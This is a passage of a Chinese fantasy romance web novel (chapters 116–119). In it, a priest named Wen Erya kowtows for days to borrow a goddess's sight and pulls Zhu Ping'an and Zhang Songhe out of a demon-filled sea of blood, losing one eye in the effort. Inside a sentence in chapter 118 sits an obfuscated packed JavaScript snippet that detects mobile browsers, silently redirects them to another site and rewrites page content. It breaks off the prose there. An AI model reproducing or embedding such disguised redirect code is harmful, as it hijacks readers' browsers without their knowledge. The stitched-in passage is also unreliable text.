叶霆霓眼一闭,在书上画了一条线,然后把典籍直接往他手里一塞:“你自己看吧。”说罢,竟是转身就跑,好像不敢跟他再多说一句话一样,连典籍都不要了。 这不寻常的举动,让温尔雅隐约有了不祥的预感,他低下头看去:“落迷失狱者,永世禁锢,无可追寻,无可逃逸,无可返还,魂渺渺兮,化为血水……” 啪嗒一声,是典籍落地的声音,温尔雅的双眼失去了焦距,只晃动着一行字:“化为血水……” 甚至连尸体都不会留下…… 他自己也不知不觉滚倒在地,肌肉抽搐,想要站起却没力气,他咬着牙,在地上爬行几步,终于扶着墙站了起来,匆匆奔往后土神殿。 116.血海劫波 温尔雅在后土神殿门前,长跪不起。 大门打开,祭司们从门前走了出来,琉琉温声道:“回去吧,帝君不会答允你的,你再怎么跪也是无用。” 温尔雅却摇摇头:“帝君一日不答应,我一日不离开便是。” 冰月忍不住出言讽刺:“你爱跪便跪,我们祭司日日都要跪奉帝君,您虽然是大祭司,可是膝盖也不见得就比我们金贵,便是金贵些,也万万抵不上你所求之事!” 琉琉用眼神制止冰月,当着其他祭司的面,对大祭司不敬,难道是什么好事吗? 她从侧面绕到温尔雅身边,打算把他扶起来:“大人,您还是回去吧,您上次来,帝君应该说的很清楚了,不是帝君有意为难,只是您所求之事……” “我知道这件事难做。”温尔雅仍不起身,“以下犯上,以卑动尊……但我已经毫无办法。” 他绝望道:“我知道此事需要耗费帝君的本命元气,可是我唯有来求您……大地母神,后土帝君,把你的力量暂时借给我,让我寻找她的踪迹吧……” 祭司们你看看我,我看看你,左右为难。神殿深处,悠悠传来一个声音:“他要跪,就让他跪吧,你们退下。” 祭司们恭谨地告退了,此处只留下温尔雅一人,他磕下头去:“请帝君允准所求。” 这不是寻常的磕头法,而是朝拜式的等身长头,信徒会用这种方式一步一跪地去接近心中的神明。 他虔诚地双手合十举高,移至面前,接着是胸前,然后再跪下,慢慢转成趴下,用身体的每一个部分去亲吻泥土,最终才是用额头触及地面,展示五体投地的谦卑。随后,他再次站起,将此前的行动再重复一遍。 每次磕头下拜,他都要闭着眼,喃喃念诵一句:“请帝君允准所求。” “请帝君允准所求。” “请帝君……” 香烟缭绕,他所呼唤的神明却始终不曾回应。他一下又一下的磕着头,明净的额头很快从白转红,接着是变青、变紫、直到鲜血流下,一滴一滴地溅在后土神殿前的台阶上,化为血色红梅。 温尔雅丝毫感觉不到额头上的疼痛,他没有办法了,他只能这样做。 如果叩头就能换回她,他可以叩上千千万万次;如果流血就能换回她,他愿意把自身血液全部放干;如果断骨就能换回她,他愿意把浑身骨骼化为齑粉。 他一点都不觉得痛苦,每次起身下拜,都是离她更近了一点。这是一条以鲜血和虔诚铺垫的路,他一路用身体丈量,要么,来到她身边;要么,死在寻找她的路上。 他不给自己第三个选择。 他再一次谦卑地匍匐在地:“求帝君……应允所求……” 香烟依旧缭绕,无人应允所求。 这是他们坠入迷失狱的第十八天,祝平安跟大白狐狸拉开距离的第七天。往常,他们都是背对背的趴着,可是今天,狐狸却没有继续放纵她这种行为。 九日之期即将过去,冰川也许又会变回热海,他小心地把祝平安用尾巴卷住缠紧,两只耳朵竖起来,生怕漏过一丝一毫的动静。 祝平安也知道这不是任性的时候,虽然别扭,却还是紧紧贴在狐狸背上,手死死抱住大尾巴,等待着冰川再次变化的一刻。 二人屏气凝神地等待着,张松鹤尤其注意脚下,然而第十八日一过,最先变化的却不是海水,而是天空。 月亮变成了血一般的红色,它越来越大,越来越大,大的超过了太阳,占满了半个天空。 紫色的浓云不知从何处飞来,顷刻间便将天幕遮蔽,惨绿的鬼火从冰原中飞出,闪着粼粼的冷光,风中隐约传来凄厉的尖嚎,那绝不是风的声音,那是生灵的惨叫……眼前的一切活生生就是世界末日般的场景,祝平安咽了咽唾沫,又往狐狸毛里缩了缩。 狐狸的长毛炸起,却是不动如山,尾巴紧紧卷住比性命还重要的珍宝。从那尖啸声响起的第一下,他更是调动全幅心神去感受那声音的来处……近了,更近了,那尖嚎转眼间就已经近在咫尺! 忽然,他背上的祝平安猛地一扯他的尾巴,恐惧地尖叫起来。 他转头,看见一道血红色的浪潮,浪潮从海天一线处涌来,瞬息便有数十丈高,将他的身躯衬的极为渺小。那潮水居然是由无数个恶鬼组成,令人头皮发麻的尖嚎,正是他们发出的叫声! 浪潮向着他们劈面而来,轰然落下,将冰川瞬息间打散,成为一片血海。就在被浪潮打落的一瞬间,祝平安听见张松鹤大吼一声:“抓紧我!!!” 她魂不附体,紧紧抓住他的身子,手中的绒毛变回人类的肌肤,他变回人形,将她揽在怀里,护在他胸膛上,不让她暴露在浪潮之下。 就在即将被浪潮吞没的那一刻,无数寒冰以他为圆心拔地而起,盘旋组成一个空心冰球,寒冰层层嵌套,共计十二层,将二人包裹其中。 祝平安只觉身下传来强烈的震颤,天旋地转中,她把一切都抛诸脑后,心中只有一个念头:绝对不能与他失散! 血浪拍击,轻易便将那一层层无比坚固的冰壳击碎,将他们压往血海最深处。张松鹤尽力不断修补那些冰层,以免让她受到血海冲击。 隔着透明的冰层,祝平安看到让她头皮发麻的一幕,这一整片海,深深浅浅处居然全都是恶鬼组成! 恶鬼们隔着冰层,嬉笑着窥探他们,好像在围观鱼缸里的两条小鱼。 “又来了两个!” “女的看起来不够美味,要吃就吃那个男的,大补!” “嘻嘻,可是那个男的看起来很强悍……估计很难下口!” “有的吃就不错了,还挑三拣四!你们不要那个女的,我要,女人的大腿最好吃了!” 祝平安无比后悔自己身上没有带拘魂锁,可是眼前的整片海中都充斥着恶鬼,即使带了武器,也顶多能够挣扎多几个回合,说不定还是用拘魂锁自杀比较快。 张松鹤冷笑一声:“想吃我们?也要看你们有没有这个本事!” 那柄小剑从他发髻脱落下来,眨眼变为三尺青锋,他一手持剑,另一只手抄起祝平安,让她坐在他的臂弯里,下一秒,一道血色水龙从海波深处出现,将他们所在的冰球顶出海面! 冰球在强大的水压下层层破裂,祝平安将脑袋埋在张松鹤的胸口,紧紧抱着他的脖颈。两人破海而出,剑光一闪,张松鹤御剑天上,向下看去。 海中恶鬼沉浮,如沸腾的汤锅,不时便有恶鬼像是飞鱼一样弹出水面,向着两人冲来。张松鹤弹弹手指,一道道锋锐的冰凌便贯穿那些恶鬼的胸口,将其钉回海中。 血腥味的风吹动着他们 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张松鹤暴怒之下,并指剑诀,以剑气直接削掉那恶鬼头颅,然而那恶鬼如食人鱼一般,其身虽死,头颅却依然死死咬住祝平安的腿不放,狰狞恐怖至极。 祝平安额冒冷汗,正想忍痛踢腿,将那头颅甩落海中,却被张松鹤狠狠掐住腰肢,不准她再动。 他从来没有用过那么大的力气对待她,忍不住让她再度痛嘶一声,想来他是气得不轻。直到听见她抽气,张松鹤才略略放松手臂:“知道痛了还敢乱动!” 他从她腿上摘下那个头颅,丢入海中:“你不想拖我的后腿,就乖乖别乱动,御剑不是一件容易的事情,再让我分心,两个人一块翻进海里喂恶鬼!” 祝平安知道自己犯了大错,再不敢轻举妄动。张松鹤看她听进去了,这才帮她检查伤口,只见右腿上已经被撕去碗口大小的肉,伤口深可见骨,再抬头时,看她明明痛得要死,却强撑着一声不吭的样子,更是心痛至极。 他托着她,把她往上抱了抱,希望能尽可能让她远离这些危险,哪怕是一分一寸也好,他不是温尔雅,不能帮她治疗伤口,倘若刚刚那恶鬼咬的是她的咽喉,那…… 他冷冷地瞥了一下那片血海,以他的性命发誓,他绝不会再给那些恶鬼任何机会,来伤害他的所爱! 话虽如此,可他也不知道自己能够支撑多久。御剑并没有想象的那么容易,不过三尺长剑,却要载动肉体凡胎停泊天上,期间耗费的力量难以估量。 他与这柄剑交修多年,若是仅他自己还好说,可眼下又多一个人,他要耗费的力气是呈几何倍数增长的。 也许是三天,也许是一天,也许就是下一刻,他便支撑不住,将和她一块落入鬼潮,化为同一泊血水……不,不会的,他答应过她,无论如何,他会让她死在他后头。 那么,不仅不能同生,亦不能共死? 他苦笑一下,抱着她的手臂紧了又紧,目光不再躲闪,而是贪婪而放肆地望着她的眼睛,再不去掩饰,也再不容她躲避。 能多撑一天,就多一天;能多撑一刻,就多一刻。 急急流年,滔滔逝水,如果他注定与她有缘无分,甚至连同死的福气都没有,那么他更要抓紧当下的分分秒秒,与她多相聚一朝,便多一朝便宜。 117.莲心为谁苦 这是他们坠入血海的第三天。 起初,张松鹤还能带着平安悬停在距离海面五六米的地方,第二天,他的御剑高度已经降了不少,大概只能高出海面三米。 这就意味着恶鬼们有更多的机会袭击上来,第一天,张松鹤只杀死了数十只恶鬼,到了第二天,这个数量便上涨到了几百。 今天是第三天,他还能坚持多久? 祝平安敏感地察觉到,张松鹤脚下的剑身已经在微微打颤,她不知道那意味着什么,但她知道,那一定是个不祥的预兆。 难道说,落入这无边血海,被恶鬼吞噬,真的就是她命中注定的死法? 早知如此,还不如溺死在热海里,或者冻死在冰原里算了!起码死个干净! 她腿上被恶鬼咬伤的那一块已经恶化了,伤口边缘肿成了紫黑色,现在若没有张松鹤的手臂一直支持着,她已经连站都站不稳。 她从没有一刻,这么明白的感觉到,自己是个累赘,若是只有他一个人,那么他一定能够坚持的更久一点! 她贴在张松鹤的颈项,在决定拉开距离十天后,第一次开口对他说话:“我有件事请求你。” “不是说要拉开距离吗?现在怎么又主动跟我说话?”张松鹤故作轻松地笑了一下,依然专注而警惕地看着下面的血海。 “这一次,恐怕我想要拉开,也拉不开了。”她叹息,“张松鹤,杀了我吧。” 张松鹤大惊,剑身不稳地摇晃起来:“你瞎说什么?” “你这样下去是坚持不了多久的!”祝平安一口气说下去,“倘若没有我,你一个人绝不会只能飞这么高,是不是?” 她将张松鹤空着的那只手拉到自己脖子上:“与其掉下去便宜他们,不如自己选择一个死法,你的剑很快,不会让我痛苦的对不对?” “你不要胡说八道了!剑是用来保护你的,不是用来杀你的!”张松鹤狼狈地甩开了她的手,“我不会让你死的,你不会死在恶鬼手里,更不可能死在我手里!” “你的剑,只是用来保护我一个人的吗?”祝平安却不放过她,她再次捉住他的手,放回自己的脖颈上,强迫他正视自己的眼睛:“你不是预备役神明吗?虽然我不知道你这个预备役将来转正会去做什么,可是我知道,一定有更多的人在等着你守护吧?” “如果你再坚持下去,不过就是我们一起死,现在杀了我,你还有可能能撑过这一劫……”她慢慢的说,脸上没有任何开玩笑的表情:“你的性命比我更有价值,我相信,你不会让我痛苦的。” 痛苦和悲伤在张松鹤脸上闪过,他心碎地看着祝平安,她期待着他的剑气穿过自己的咽喉,可他最终只是崩溃地把手甩开,扭过脸去。 “我办不到!” 他把她的头摁进他肩窝,不准她看他的表情:“预备役神明就比你有价值了吗?连一个姑娘都保护不了,这样的神即使能够活下来,他又能守护谁?世界也不会愿意被这样懦弱的神守护!” “人无高低贵贱,即便要杀身成仁,杀的也是我,不是你!”他似乎下了什么决定,“我再说一遍,你一定会死在我后头!” 今天是温尔雅跪在后土神殿外的第三天。 温尔雅依然在不停地磕头,依然是那个等身叩拜的姿势。 三天了,他不饮不食,不眠不休,重复着起立下跪,把自己的膝盖与额头都磨成了一团烂肉,连从前最重视的美丽容貌也不复风姿,后土帝君感受着他这份心意,轻轻叹了口气。 这个倔强的孩子,到底要坚持到几时呢? 回去吧,回去吧! 帝君在心里默默的说,这个孩子是她最喜欢的一个,听话乖巧,聪明能干,正因如此,她不想看着他自寻死路。 他所求之事,是共享后土帝君的“视野”,他可知他在说什么?后土帝君司掌死亡,她的双眼能看到世间所有灵魂的光华轨迹……那不是凡人能够驾驭的领域,若想窥探,必定要付出沉痛的代价! 并非是后土帝君想要难为他,凡人即使再怎么聪明多才,灵魂的力量相比于后土帝君来说,无异于萤火与烈阳。想要一只萤火虫来驾驭太阳的光热,恐怕它还未能发挥出任何力量,就必定会先被烈日吞噬! 他居然妄想在那恒河沙数一样多的灵魂中,寻找到对他来说最特别的一个,从而牵引其穿破空间的间隙,将其带回自己身边……这对他的灵魂来说是巨大的消耗! 他可知道,那意味着什么?他很有可能会死的,而且,是彻底的灵魂崩坏…… 她推开窗子,望着那仍在不断祈求的孩子,他已经摇摇欲坠,脸色白的像是一张纸。磨破的膝盖已经支撑不起他整个人的重量,他却硬撑着不肯倒下,仿佛直到死的那一刻,他才会愿意停下。 温尔雅的眼前早已失焦,世界是晃动着的一团浑浊光影,无论是风霜雨雪,还是日升月沉,对他早已没有任何意义。他眼前唯有一个身影,她可爱的笑容,她在他怀中睡着的样子,她呼唤他的声音…… 他知道自己快要坚持不住了,但那不是退缩的理由。不就是祈求吗?不就是等待吗?他早就等了一辈子,来或不来,应不应允,都不是他能决定的,他能决定的,只有是否为之努力…… 他再度拜了下去。 这一次下拜,他觉得头脑轰鸣,全身血液都窜到头上,头颅变得有千斤重,再也抬不起来。他的眼神黑了,空茫茫的瞳孔在扩大,他听见一声渺远的叹息,感受到一股力量将自己托了起来:“你确定要这么做?” 是帝君的回应!他的眼睛忽然像是回光返照一般亮起来,硬是挤出一丝声音:“后土帝君……大地的母亲,请您应允……您的孩子所求……” “好吧。”他听见那个声音叹息道:“如你所愿。” 一道温暖的力量流经了他的身体,将他身上的伤口统统消弭于无形。温尔雅张开眼睛,发现自己仍然伏在后土神殿前的地上,一时间难以回神。 冰月臭着脸与另一名祭司走过来,将他抬起,沐浴进食,又喂他喝了一口逢春散,这才允准他进殿:“帝君在里面等你。” 血海上空下起无数血雨。 今天是他们坠入血海的第四天,御剑高度早就不能维持,降到离海面只有两米左右的地方,这个高度,对于恶鬼们来说,已经是触手可及! 千万剑光从宝剑上发出,将任何胆敢靠近他们的恶鬼尽数斩杀,可恶鬼的数量实在是太多了,像是潮水、海浪,一波平复,一波又起。他们前仆后继,络绎不绝……那不是人力所能对抗的东西! 断肢残臂落入血海,再次变成了一团血水,过不多时,又会化成新的恶鬼,尖啸不止。这不是一场公平的对决,而是一场极致的消耗,人类已经出尽全力,对血海的伤害却根本没有! 纵横的剑气从千道,变成了百道,又变成数十道,最终,只剩下几道仍然环绕在他们身边。张松鹤早已左支右拙,不时便有恶鬼突破剑光的封锁,在他的小腿上留下大小不一的伤口。 恶鬼们也已经看出,这个强悍的男人已经渐渐不支,兴奋地嚎叫蹦跳,长大了嘴巴在下接着,等着吃上最美味的神明血肉! 他们即将被血海吞没。 真到了这个时候,祝平安反而平静了。 回想这一生,生前泯然众人,死后却过得更加舒心。从事了自己喜欢的职业,做了许多有意义的事情,也被人倾心恋慕…… 想到温尔雅,她内心一颤。她死之后,他会怎么样呢?现在,她开始庆幸自己化为血水的结局了,找不到尸体,也许温尔雅就会认为她只是失踪了,总比亲眼看到她死掉好些吧? 希望他能度过这一劫,伤心个三年五年,然后慢慢把她忘掉。时间会带走一切的,他还会再遇到其他的女孩,他……以后一定会幸福的。 她再抬眼,望着张松鹤,想不到这一次死的时候,身边人居然是他。 “我们就要死了,你还有什么话想说吗?”左右都是要死了,她居然还大胆地调侃起来,如果他还有什么话想跟她说,她应当不会拒绝的。 他们即将化为同一泊血水,所谓的拉开距离,还有什么意义呢? 谁知,张松鹤却温柔的摇了摇头:“说了有什么用?我对你的所有话,你是都没听进去。” 他不顾身下那些恶鬼的抓挠,眼光深情地停在她的脸庞上,似乎要把她的模样永远铭刻在心里。 这目光看的她心头轻颤,他 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“我把它们给你。”他仰着头望向半空中的她,他们的距离正在一寸寸拉远,他的身体已经疲累至极限,只是强撑着御剑,希望能再看她一眼,再多看一眼:“我的修为、我的功德、我的心血、我的一切……我把它们都给你。” “我不要!”祝平安扑到金莲边,望着离她远去的那个人:“你快点上来,这不是你的金莲么?” 张松鹤摇摇头:“我还不是真神,金莲渡不了众生,只能渡你一人。” “什么只渡一人?要死一起死!” “恐怕我没这个福气了,我说过,我一定会让你死在我后面的。”张松鹤笑起来,一如她千千万万次见过的那样爽朗。 他眷恋地伸手,似乎还想摸一摸她的脸庞:“血海无边,这朵功德金莲会庇佑你,在海上再漂浮一段日子,直到我的功德耗尽,我想,三百年的功德,应该还够支撑三天。” 血浪已经能够触及剑身,粘稠的血花拍打着他的小腿,恶鬼们已经开始准备一拥而上,他最后一次向她挥挥手:“再见了,平安!如果以后再也见不到面,我希望你偶尔能够想起我。” 祝平安伏在金莲上,肝胆欲裂,望着那个男子逐渐沉入血海,居然还是笑着的。 忽然,有歌声自海上传来。 那歌声流畅优美,响彻行云。血海、流云、甚至连恶鬼的动作都因这歌声顿了一秒,震撼于其中潜藏的深沉情感。 仿佛有人在生命的尽头,才第一次呐喊出自己的心事,想要让自己的心意如日月高悬,照耀天上人间,告知给他所爱的姑娘。 那是……狐狸的歌声。 这一次,不是低声的哼唱,而是嘹亮的高歌,当听到那首歌的时候,祝平安如遭雷击,五内俱碎,泪水已经不知不觉的流了满脸。 他仰着脸,恶鬼们已经在撕扯他的小腿,可他浑然不觉,只是伸长了脖子,拼命地望向心爱姑娘的方向。狐死首丘,他的自然天性,会让他在死去的前一刻,望向他最眷恋的地方。 在这一刻,他用尽剩余的力气,唱起了那首《月亮代表我的心》。 他早就想要唱给她的歌。 虽然晚了一步,慢了一步,没能与她共度一生,甚至都不会有时间给他唱完整首曲子,可是他毕竟是唱出来了,他的人生,已经没有任何遗憾。 “你问我爱你有多深,我爱你有几分?” “你去想一想,你去看一看,月亮代表我的心……” 月亮代表我的心。 从今之后,无论我在或不在,当你望见天上那一轮明月的时候,都会想起,有一个人,曾经真诚地爱过你。 足矣。 他的下半身已经完全沉入海中,歌声却依旧不停,祝平安望向天上,深紫的浓云里挂着一轮巨大的月亮,它发出血红色的光芒,恍如一颗流淌着鲜血的心脏。 那是……张松鹤的心,一颗巨大的、真诚的,被她伤害到鲜血淋漓,却依然爱着她的心。 她脚下的金莲中,悄然凝结出一颗莲子,没有人知道,莲肉为什么那么甘甜,莲心又为什么那么苦涩。 118.招魂何嗟及 在这个世界上,她到底还在乎什么? 当看到他沉入血海时,一股力量接替了祝平安的身体,让她的肢体先于思维行动了起来。 三天?她为什么要比他多活这三天?她活在这个没有他的世界上做些什么?他怎么忍心,让她一个孤独漂流在这片血海? 要死的话,最佳时刻就是这一分这一秒。她情愿现在陪他一起死,她想要拥抱着他,想要让两人的身躯化作同一泊血水,同一抔黄土,同一把尘灰……再也不要分开。 她不要孤零零的赴死,更不要他孤零零的死! 她瞄准他的方向,从莲台上一跃而下。 狐狸的歌声停了,张松鹤惊愕的睁大眼睛。 那一瞬间,天地倒悬,他曾坠入的那片海,他自愿踏入并徘徊不去的那片海,从高天之上倾泄,向他扑来。 这一次,不是他坠入了海,而是海拥抱了他。 她坠入他的怀抱,强劲的冲击力把他们压到深深的海底,她用尽全身力气拥抱着他,恶鬼在撕扯他们的血肉,在他们的脊背上留下大大小小的伤口,但在这一刻,没有人在乎。 “你这是做什么……?为什么……”张松鹤用尽最后的力气凝结了一个冰罩,将两人包裹住,希望能稍微阻挡恶鬼。 “做什么?”她用力捧着他的脸,强硬地抬起他的下巴:“就做这个!” 她吻上了他的嘴唇。 与其说这是吻,不如说这是撕扯,啃咬,发泄……痛苦和快乐同步降临,如同一口嚼碎整颗莲子,又苦又甜。腥咸的气息从唇齿交接处散发出来,不知是他的血,还是血海的波? 他目眩神迷,这一刻,连身上的剧痛都恍然不觉,他听见她用力吮吸他的唇瓣,断断续续道:“是谁允许你……做这种决定?是谁允许你抛下我?你从来都是这样,自顾自地让我动情,又自顾自地把我抛下……” “你以这样的方式离开我……难道你认为,我活着还会快乐?” 他被她吻的呼吸紊乱,无限眷恋地拥紧她:“对不起……是我的错。” “我不能接受你的喜欢,也无法许诺和你同生,因为……我把它们许给了另一个人。”她轻轻对他说,“我能为你做到的,只有共死。张松鹤,死亡来临时,我们会化成同一滴水,这一次,不会再有纠结遗憾,不会再有阴差阳错,不会再有……任何距离。” 他们望着彼此的眼睛,拼命相拥,抓紧最后的时刻去感受对方的温暖,等待着终焉降临。 后土神殿,香烟缭绕,帝君端坐高台,对着温尔雅伸出了手。 她的手掌粗粝温暖,绽放着莹莹神光,她望着温尔雅,最后确认道:“你想好了?无论什么情况都有可能发生,你有可能在下一刻就被神力撑为碎片,什么都看不到。即使看到,也很难在那些灵魂中找到她……你真的不后悔?” 回答她的,是温尔雅快而利落的一顿首:“无怨无悔。” 后土帝君不再多说什么,她叹口气,将散发着神光的手掌贴上了温尔雅的额头。 痛! 难以言喻的钝痛从温尔雅颅脑中传来,他只觉自己的头颅乍然开裂,后土帝君的视野何其宽广,想要把她看到的一切传输到温尔雅的识海中,简直像是把整个长江倒进一个池塘里一样,根本是不可能完成的任务! 从未想象到的新世界在他眼前展开,无数纷繁零落的光影纷至沓来,他已经看不见眼前的一切,只能看见一片密布繁星的宇宙。 无论是向上向下,还是向左向右,都只能看见五光十色的繁星,他被这些星辰包围期间,不知方向也不辨今古。 星星围着他旋转,每一颗星星都是一个生灵的魂魄,有些星星在互相贴近,有些则从四面八方回归后土大神的怀抱。他左顾右盼,头晕目眩,双眼传来一阵阵的剧痛。 不……不能用眼睛看,什么也看不出来的,他在心里对自己说。 用你的脑子去想,用你的心去体会,用你的灵魂去感受冥冥中的牵引,如果曾经你真的能感受到她的存在,那么现在,你也一定可以做到! 五光十色的星辰像是凝固的烟花,他穿梭在那片片光华间,潜下心去感受:这一个不是她,太过锋利;这一个也不是她,太过衰老;这个也不是她,污浊不堪…… 她应该是坚强又柔软的,光亮而温暖的,清澈而透明的,流淌着令他刻骨铭心的味道。 他们曾经接过无数个吻,她枕在他肩膀上,一次又一次地承诺过永远在他身边……这份誓言深刻到在他的灵魂上都烙下了印痕,他能找到她!一定能的! 可恶,眼睛越来越痛……温尔雅咬牙忍住那份剧痛,循着他灵魂最深处的指引,向一个方向看去。 那里有一颗小小的星辰,光芒微弱如风中残烛,正在逐渐被血色侵染。温尔雅忽然一个激灵,是她!是她!他找到她了! 他狂喜地向着那颗星星伸出手去,有那么一瞬间,他感觉到自己的手穿透了重重谜障,撕裂了天地乾坤,他和她之间隔着那么远,可他无比相信,自己正在贴近她! 他屏气凝神,用尽全身的力气把手伸的再长一点,再远一点,他寻找她的决心,穿越了迢迢河汉,穿越了血海无边。就是那里了,他恍惚间摸到了什么东西,在一片湿滑黏腻中,他握到了一只手。 那是平安的手。 他用尽全身的力气将那只手往自己的方向拉去,这个动作要耗费的力气超越了他的想象,空间的阻碍并没有那么容易通过。他青筋暴起,不管不顾地用力牵拉。 这个动作让所有的血液都流到他的脑海,他发出痛楚又尖锐的哀叫,头颅中传来一根弦崩断的声音,汩汩热流从他的脸上落下,鼻子、耳朵、双眼都在流血。他的身体已经撑到了极限,也许再坚持下去,就是粉身碎骨! 可他现在顾不上那么多了! 他什么都可以不要,性命算什么?在一个没有她存在的世界,他要命有什么用! 他只要她回来。 他只要她回来! 他发出极度恐怖的怒吼,在这样的决心面前,空间的阻碍节节败退,有什么物事真的从那个裂隙中穿越而来。 他的识海猛然炸开,他仰面向后摔倒,昏迷过去,连接断开,两道血流从他眼中流出,凄厉可怖。下一刻,后土帝君的眼神里也不免写满了吃惊。温尔雅手中牢牢抓着一个女子的手! 他居然真的把那个女孩从异空间找回来了! 女子血污满脸,昏迷不醒,身上大大小小全是伤口,像是被爪牙撕裂;而那女子身上,还紧紧缠着一个男子,同样是重伤昏迷,狼藉不堪。 她唤来其他祭司,打算将三人检查一番进行救治,然而没有人能分开他们三个,既不能掰开温尔雅抓住那女子的手,也分不开那女子和男子紧紧相拥的手! 最终,他们没有办法,只能将三人一块抬到一张较大的榻上医治。草草擦拭了一下几人身上的血污,琉琉认出,这对相拥的男女就是祝平安与张松鹤。 后土帝君先是捧起了温尔雅的脸,仔细检查下,心中悲叹。 他已经很是幸运,不知道是什么样的力量让他忍受住了共享视野的痛苦,但他不可能不付出任何代价。 她痛惜地抚摸过温尔雅的右眼,与这只眼睛相关联的部分灵魂已经完全崩坏,无论什么力量都无法修复,即使他再度投胎转世,这只眼也会是盲的…… 希望你做的这一切是值得的吧…… 温尔雅的昏迷只是暂时的,还没有十几分钟,他便自己醒了过来。一醒来便用力地握紧自己的手,似乎是要确认手中的人还在不在。 在的! 她就在那里,纵然遍体鳞伤,昏迷不醒,却还是活的,还在呼吸……仅仅是这一点,就已经让他欣喜地落泪。他的珍宝,他的世界,终于又回到了他身边。 泪水落下时,他右眼传来一阵刺痛,他这才茫然的眨眨眼,发现自己看到的世界跟过去有些不同了。 “你这只眼睛已经看不见了。”后土帝君如此告诉他。 “没关系。”温尔雅笑的眷恋又满足,“我还有一只眼睛能见到她,真是太好了。” 他无比开心地俯下身去,刚刚受过重创的灵魂找到了能够疗愈他的港湾,也许眼睛不会复明了,但能用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146008|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只眼睛换回平安,这笔交换是十分值得的。 她的身上大大小小全是伤口,他不在的这些日子,她一定很痛吧?他的双手疼惜地抚上她的身体,想要为她抚平伤痛,却摸到了一个不属于平安的触感。 兴许是少了一只眼睛,他一时间还适应不过来,下意识地猛然往右侧扭头,才看见,平安怀里拥着另一个人。 张松鹤。 两人的姿态如此亲密,仿佛跨越了生死一般紧紧相拥,热烈缱绻,难舍难分,他不在的二十二天里,到底都发生了什么? 温尔雅心中一片酸涩,却也没有他想象的那么难熬。世界上最恐怖的事情就是失去她,除此之外,都是小节。迷失狱是个多么可怕的地方,他已经清楚了,若是她孤身一人坠入其中,焉能支撑这么久? 瞧张松鹤身上的伤口,狰狞可怖之处超过平安几十倍,若没有他拼死救护,平安……就真的活不成了。 瞧着二人紧紧相拥的样子,这一次他没有嫉妒,谁让平安最需要他的时候,他却不在她身边呢?手中白光亮起,他一视同仁地为张松鹤医治伤口。什么都比不上她的生命重要,只为了张松鹤救了她的命,他就什么都能包容。 张松鹤的伤口虽然更深更多,但他体质却更加健壮,不多时,便先一步醒来。他似乎一时间不知道自己身在何处,只是急急地去探自己怀中人的气息,见对方呼吸平稳,这才松一口气。 身边传来一声冷哼,张松鹤扭过头去,这才看清温尔雅就在一边坐着,手紧紧地握在平安手腕上,好像生怕她再次消失不见。他不免有些尴尬,接着便看清温尔雅似乎跟从前不太一样了。 他那双美丽的黑眼睛居然变成了一灰一黑,右眼的淡灰色昭示着那已经是一个死去的器官,再无复明的可能。张松鹤不禁愕然,指着他的眼睛道:“你……你这是怎么啦?” 温尔雅别过头去,用垂下的长发掩去那只盲眼:“不关你的事。” 张松鹤碰了钉子,也不再追问,左顾右盼;“我这是在哪里?发生了什么事?” “这句话应该是我问你才对吧?”温尔雅帮平安掖了掖被子,这才发问:“这里是后土神殿,我是在后土帝君的帮助下才把你们救回来的。这二十二天,你们都发生了什么事?” 后土神殿? 张松鹤这次再无疑惑:“你就是后土帝君的大祭司吧?” 温尔雅点点头,却不耐烦再讨论自己的事情,催促张松鹤:“快点说你们的事情。” 张松鹤瞥了一眼平安,心下黯然。方才血海中最后一吻,那是她自以为必死无疑才放纵情性,现在逃离了迷失狱……她还会对他? 平安是至情至性之人,别人对她有一分好,她必定报还十分。情动之时,以死相报也不稀奇,见温尔雅的样子,想必也是为救她受了不少折磨,她醒来后,会怎么跟温尔雅说呢……她会不会说,自己跟她…… 还是暂时不要提吧……他本没有想过破坏她跟温尔雅之间的关系,方才血海种种,只做一个美梦看待罢了。得知她愿意与他共死,如斯情谊,他能否与她朝夕相伴,又有什么要紧? 沉吟片刻,他便将迷失狱中发生的事情都说了,只是掩去了两人之间微妙的关系变化不提。温尔雅听着,一时紧张,一时心急,尤其是听到血海上三天三天的奋战,更是后怕不已。 若非他在最后时刻找到了她,哪怕只差上一分一秒,她都有可能真的被万鬼分食,化为血水! 至于张松鹤隐瞒的那些事情,他也看得出来。他生来精通百言,在动物语言中,气味也都是语言的一种,平安浑身都是他的气味……连嘴里甚至都有,张松鹤不说,难道他就看不出来发生过什么? 想到这里,他又有些吃醋,轻轻用袖子擦了擦平安的脸庞,在她嘴唇上落下一个浅吻,试图覆盖掉张松鹤的气息,重新回到只有他一人独占平安的状态。吻罢,又觉得自己有些幼稚,她要怎么处理几人间的关系,是她的决定,他又能说什么呢? 现在,只需要静静等她醒来,让她来宣判两人的最终命运吧。 只要她不抛下他,他什么都能接受。 119.左右为男 温尔雅打来一盆温水,细细为躺在床上的平安擦身子。 她已经昏睡了三天三夜,张松鹤睡了两天就能下床了,今天还抽空去了一趟公共安全部,可她还是没有醒来。 他为她洗头擦身,看着她乖巧地躺在他怀里的样子,心里便是一片安宁。只要她还在她身边,他就觉得温暖和幸福。 他一边帮她擦头发,一边在她耳边哝哝絮语:“你回来的事情大家已经知道了,朋友们都来看过你了,给你带了好多你爱吃的零食,我都已经帮你摆在床头了,只要你一睁眼,就能拿到。” “你已经睡了好久,还想再睡几天呢?我好久没有听见你的声音,好久没跟你说过话了,难道你就不想早点睁开眼睛看看我吗?” 他举起她的手,凑到唇边,轻轻地啄吻:“真是个坏公主,明明说好了做什么都会带着我,却丢下我一个人离开了二十二天,你知道这些日子我是怎么过的吗?” “快快醒来吧,你不是很想知道关于我的秘密吗?只要你睁开眼睛,我就把一切都告诉你,我要我们之间,再也没有隐瞒,没有秘密……”他的手眷恋地抓紧她,掩去眼中的落寞:“如果你还想要听的话……” 